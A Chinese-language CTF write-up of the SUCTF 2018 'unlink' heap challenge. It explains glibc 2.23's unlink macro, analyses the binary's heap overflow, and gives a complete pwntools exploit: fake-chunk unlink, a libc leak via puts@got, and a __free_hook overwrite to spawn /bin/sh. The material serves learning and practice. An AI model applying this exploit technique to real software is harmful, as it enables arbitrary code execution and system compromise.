Featured image of post [SUCTF 2018 招新赛]unlink wp

[SUCTF 2018 招新赛]unlink wp

字数: 3380

unlink、unlink、unlink…… glibc 源码与指针,让我头晕脑胀……

unlink 是 malloc.c 下的一个宏,在 glibc-2.23 代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/* Take a chunk off a bin list 
 *
 * AV : arena 内存分配器的数据结构
 * P  : 指向要移除的块的指针
 * BK : 块的后向指针(back)
 * FD : 块的前向指针(forward)
 */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;	/* 保存前向指针 */							      \
    BK = P->bk;	/* 保存后向指针 */							      \
    /* 完整性检查 */                \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))	/* 前向块的后向指针应该指向 P, 后向块的前向指针一个指向 P 
如果任意一个条件失效,说明链表被破坏。 __builtin_expect(..., 0) 告诉编译器这种情况不太可能发生

    */	      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        /* 移除块(正常情况)  unlink 攻击的地方 */\
        FD->bk = BK; /* 前向块的后向指针指向 BK */							      \
        BK->fd = FD; /* 后向块的前向指针指向 FD */							      \
       /* 效果:将 P 从链表中移除 */ \
        if (!in_smallbin_range (P->size)/* 处理大块内存的大小链表 检查不在小块范围内*/				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) { /* 存在下一个大小的链表指针 */		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	/* 大小链表的完整性检查 */      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
              /* 移除大小链表中的块 */\
            if (FD->fd_nextsize == NULL){ /* FD 在大小链表中是第一个 */ 				      \
                if (P->fd_nextsize == P)/* 如果 P 是大小链表中的唯一块,则 FD 变成循环指向自己 */	\
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {	/* FD 继承 P 的大小链表邻接关系 */						      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {	/* 直接将 P 从大小链表中移除 */						      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

unlink 用于移除空闲块或者合并相邻的空闲块。
在 _int_free 函数中有在前一个 chunk 空闲的时候调用 unlink 做堆块合并:

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = p->prev_size;
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  unlink(av, p, bck, fwd);
}

可以构造伪 chunk 来做偷天换日的劫持,有如下代码:

1
2
3
/* 移除块(正常情况)  unlink 攻击的地方 */\
FD->bk = BK; /* 前向块的后向指针指向 BK */							      \
BK->fd = FD; /* 后向块的前向指针指向 FD */							      \

这里对 FD-> bk 和 BK-> fd 赋值,如果我们伪造 bk 和 fd,就可以借 unlink 实现任意地址写。
但是前面有做一点检查:

1
2
3
4
5
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))	/* 前向块的后向指针应该指向 P, 后向块的前向指针一个指向 P 
任意一个条件失效,说明链表被破坏。 __builtin_expect(..., 0) 告诉编译器这种情况不太可能发生

*/	      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

如果 FD->bk != P 或者 FD->fd != P 那么说明链表的指针被破坏了,无法进行 unlink 操作。需要绕过这个检查,可以做:

1
2
P -> fd = &P - 0x18
P -> bk = &P - 0x10

这样就能绕过。

题面

Ubuntu 16.04
一个二进制包

分析

题目给了 ubuntu 16.04,一开始不以为然,之后才知道原来有多重要v_v
从这篇 gist 找到 ubuntu 16.04 的 glibc 版本为 2.23:https://gist.github.com/zchrissirhcz/ee13f604996bbbe312ba1d105954d2ed
后面要 patchelf 为 libc-2.23 然后再做,不然新版本因为 tcache 特性没 unlink 就卡了。
checksec 查看保护:

1
2
3
4
5
6
7
8
❯ pwn checksec ./service
[*] '/data/project/ctf-repo/pwn/nssctf/SUCTF_2018_招新赛-unlink/service'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    Stripped:   No

没开 PIE,真好!

ida pro 静态分析:
经典菜单堆题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("welcome to note system");
  while ( 1 )
  {
    menu();
    puts("please chooice :");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        touch();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        take_note();
        break;
      case 5:
        exit_0();
      default:
        puts("no such option");
        break;
    }
  }
}

touch()

创建一个 node

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 touch()
{
  int v1; // [rsp+0h] [rbp-10h]
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 10 && (&buf)[i]; ++i )
  {
    if ( i == 10 )
    {
      puts("the node is full");
      return __readfsqword(0x28u) ^ v3;
    }
  }
  puts("please input the size : ");
  if ( v1 >= 0 && v1 <= 512 )
  {
    __isoc99_scanf("%d");
    (&buf)[i] = (char *)malloc(v1);
    if ( (&buf)[i] )
      puts("touch successfully");
  }
  return __readfsqword(0x28u) ^ v3;
}

在 .bss 段上有数组 buf 存储每次分配的 node。能创建 0 ~ 10 个 node,这里只用 malloc 创建堆空间,不做写操作。

delete()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which node do you want to delete");
  __isoc99_scanf("%d");
  if ( (&buf)[v1] != 0 && v1 >= 0 && v1 <= 9 )
  {
    free((&buf)[v1]);
    (&buf)[v1] = 0;
  }
  return __readfsqword(0x28u) ^ v2;
}

删除堆,buf 相应有置 0,防止 UAF。

show()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
unsigned __int64 show()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which node do you want to show");
  __isoc99_scanf("%d");
  if ( (&buf)[v1] != 0 && v1 >= 0 && v1 <= 9 )
  {
    puts("the content is : ");
    puts((&buf)[v1]);
  }
  return __readfsqword(0x28u) ^ v2;
}

打印 node 数据。

take_node

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
unsigned __int64 take_note()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which one do you want modify :");
  __isoc99_scanf("%d", &v1);
  if ( (&buf)[v1] != 0 && v1 >= 0 && v1 <= 9 )
  {
    puts("please input the content");
    read(0, (&buf)[v1], 0x100u);
  }
  return __readfsqword(0x28u) ^ v2;
}

写 node,这里写入长度写死为 0x100,可以做堆溢出。


上述对堆的操作,都是在基于 &buf + v1 的偏移量来访问堆的。

因为没开 PIE 所以 buf 的地址写死为:0x6020c0。

利用

这道题要得到任意地址写,需要写 buf。写 buf 可以借由 unlink 攻击来实现。
首先题面隐含 libc-2.23 先 patchelf 好,事实证明,之后的版本因为 tcachebin 的出现,很难做 unlink 了。

先封装好函数,还要给 libc-2.23 弄好 debug info:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def touch(size):
    io.recvuntil(b"please chooice :\n")
    io.sendline(str(1).encode())
    io.recvuntil(b"please input the size : \n")
    io.sendline(str(size).encode())


def delete(index):
    io.recvuntil(b"please chooice :\n")
    io.sendline(str(2).encode())
    io.recvuntil(b"which node do you want to delete\n")
    io.sendline(str(index).encode())


def show(index):
    io.recvuntil(b"please chooice :\n")
    io.sendline(str(3).encode())
    io.recvuntil(b"show")
    io.sendline(str(index).encode())
    io.recvuntil(b"is : ")


def take_note(index, content):
    io.sendlineafter(b"chooice :\n", b"4")
    io.sendlineafter(b"modify :\n", str(index).encode())
    io.sendafter(b"content\n", content)


def gdb_debug():
    gdb.attach(
        io,
        gdbscript="""
    set debug-file-directory /data/project/ctf-repo/pwn/nssctf/SUCTF_2018_招新赛-unlink/debug/
    nosharedlibrary
    sharedlibrary
    b menu
               """,
    )

万事具备,接下来可以开始了:

1
2
3
4
5
6
touch(0x20)  # 0
print("touch 0")
touch(0x80)  # 1
print("touch 1")
touch(0x100)  # 2
print("touch 2")

chunk 0 做堆溢出构造伪 chunk,然后 chunk 1 做 free 操作,触发 unlink,chunk 2 做阻隔防止 chunk 1 free 时被合并到 top chunk。
此时 gdb 查看堆空间和 buf 的内容:

接下来往 chunk0 做堆溢出构建伪 free chunk,并且覆写 chunk 1 头部:

1
2
3
4
5
6
7
8
9
payload = (
    p64(0) # prev_size
    + p64(0x20) # chunk_size
    + p64(buf_bss - 0x18) # fd
    + p64(buf_bss - 0x10) # bk
    + p64(0x20) # prev_size(overwrite chunk 1)
    + p64(0x90) # chunk_size(overwrite chunk 2)
)
take_note(0, payload)

此时堆空间:

我们在 0x373ca010 处做了个假的 free chunk,并且 fd 为 0x6020a8,bk 为 0x6020b0。这里绕过 unlink 的 fd bk 检查。下一个 chunk 1 free 时,触发 unlink 的时候就会找到这个 free chunk,做合并操作。因为我们覆写了 prev_size 为 0x20,和 fake chunk 的 chunk_size 一样,也是绕过检查。

这样,比较难理解的链表就来了,因为 unlink 宏有:

1
2
FD->bk = BK; /* 前向块的后向指针指向 BK */							      \
BK->fd = FD; /* 后向块的前向指针指向 FD */							      \

很晕,我们看 glibc-2.23 源码。fd 偏移量应该是 0x10,bk 偏移量应该是 0x18。

1
2
3
4
5
6
7
8
9
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */ /* 8 bytes 记录前一个物理相邻块的大小 仅当前一个块是空闲时有效*/
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */ /* 8 bytes */
  struct malloc_chunk* fd;         /* double links -- used only if free. */ /* 8 bytes */
  struct malloc_chunk* bk;                                                  /* 8 bytes */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. *//* 8 bytes */
  struct malloc_chunk* bk_nextsize;                                         /* 8 bytes */
};

此时抓住:

  • FD = 0x6020a8
  • BK = 0x6020b0

而 FD->bk 和 BK->fd 都指向 buf,正如我们伪造 fd bk 的偏移量那样。
接下来,就会把 buf 覆写为 buf-0x10,然后再覆写成 buf-0x18。最终是 buf-0x18 起作用。
所以 buf 数据会变成 0x6020a8。

验证下:

1
2
delete(1)
print("delete 1")

事实正如此。
这样我们再 take_node 0 的时候就会改写 0x6020c0 的数据,而 show 0 就取地址进行读,达到的任意地址的读写。
我们先再改写下,把 buf[0] 的数据改写为 buf[1] 这样就写 chunk1,读就会跳转该数据地址的内容。

1
2
3
payload = p64(0) * 3 + p64(0x6020C8)
take_note(0, payload)
print("take node")

然后泄漏 libc 地址,通过 puts@got 写入 buf[1] 加上一个 show:

1
2
3
4
5
payload = p64(elf.got["puts"])
take_note(0, payload)
print("take node")
show(1)
print("show 1")

这样我们就获得了 libc 的各种地址。

1
2
3
4
5
6
7
8
9
io.recvuntil(b"\n")
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
print("puts address =", hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print("libc base address =", hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
system_addr = libc_base + libc.sym["system"]

接下来劫持 __free_hook 写成 system 地址,如果我们调用delete chunk2 这样就会做 system(*buf[2])。
那么将 buf[2] 数据写为 /bin/sh 的地址就完美了:

1
2
3
4
5
payload = p64(free_hook) + p64(bin_sh_addr)

take_note(0, payload)
take_note(1, p64(system_addr))
delete(2)  # 触发 free(2) free_hook 已经被改写成 system 了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *

io = process("./service")
# io = remote("node4.anna.nssctf.cn", 20131)
elf = ELF("./service")
libc = ELF("./libc-2.23.so")


def touch(size):
    io.recvuntil(b"please chooice :\n")
    io.sendline(str(1).encode())
    io.recvuntil(b"please input the size : \n")
    io.sendline(str(size).encode())


def delete(index):
    io.recvuntil(b"please chooice :\n")
    io.sendline(str(2).encode())
    io.recvuntil(b"which node do you want to delete\n")
    io.sendline(str(index).encode())


def show(index):
    io.recvuntil(b"please chooice :\n")
    io.sendline(str(3).encode())
    io.recvuntil(b"show")
    io.sendline(str(index).encode())
    io.recvuntil(b"is : ")


def take_note(index, content):
    io.sendlineafter(b"chooice :\n", b"4")
    io.sendlineafter(b"modify :\n", str(index).encode())
    io.sendafter(b"content\n", content)


def gdb_debug():
    gdb.attach(
        io,
        gdbscript="""
    set debug-file-directory /data/project/ctf-repo/pwn/nssctf/SUCTF_2018_招新赛-unlink/debug/
    nosharedlibrary
    sharedlibrary
    b menu
               """,
    )


buf_bss = 0x6020C0

touch(0x20)  # 0
print("touch 0")
touch(0x80)  # 1
print("touch 1")
touch(0x100)  # 2
print("touch 2")

payload = (
    p64(0) # prev_size
    + p64(0x20) # chunk_size
    + p64(buf_bss - 0x18) # fd
    + p64(buf_bss - 0x10) # bk
    + p64(0x20) # prev_size(overwrite chunk 1)
    + p64(0x90) # chunk_size(overwrite chunk 2)
)
take_note(0, payload)
print("take node")
delete(1)
print("delete 1")

# ============

payload = p64(0) * 3 + p64(0x6020C8)
take_note(0, payload)
print("take node")
gdb_debug()


payload = p64(elf.got["puts"])
take_note(0, payload)
print("take node")
show(1)
print("show 1")
io.recvuntil(b"\n")
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
print("puts address =", hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print("libc base address =", hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
system_addr = libc_base + libc.sym["system"]
payload = p64(free_hook) + p64(bin_sh_addr)

take_note(0, payload)
take_note(1, p64(system_addr))
delete(2)  # 触发 free(2) free_hook 已经被改写成 system 了

io.interactive()

参考资料

  1. 【pwn】[SUCTF 2018 招新赛]unlink –堆利用之unlink _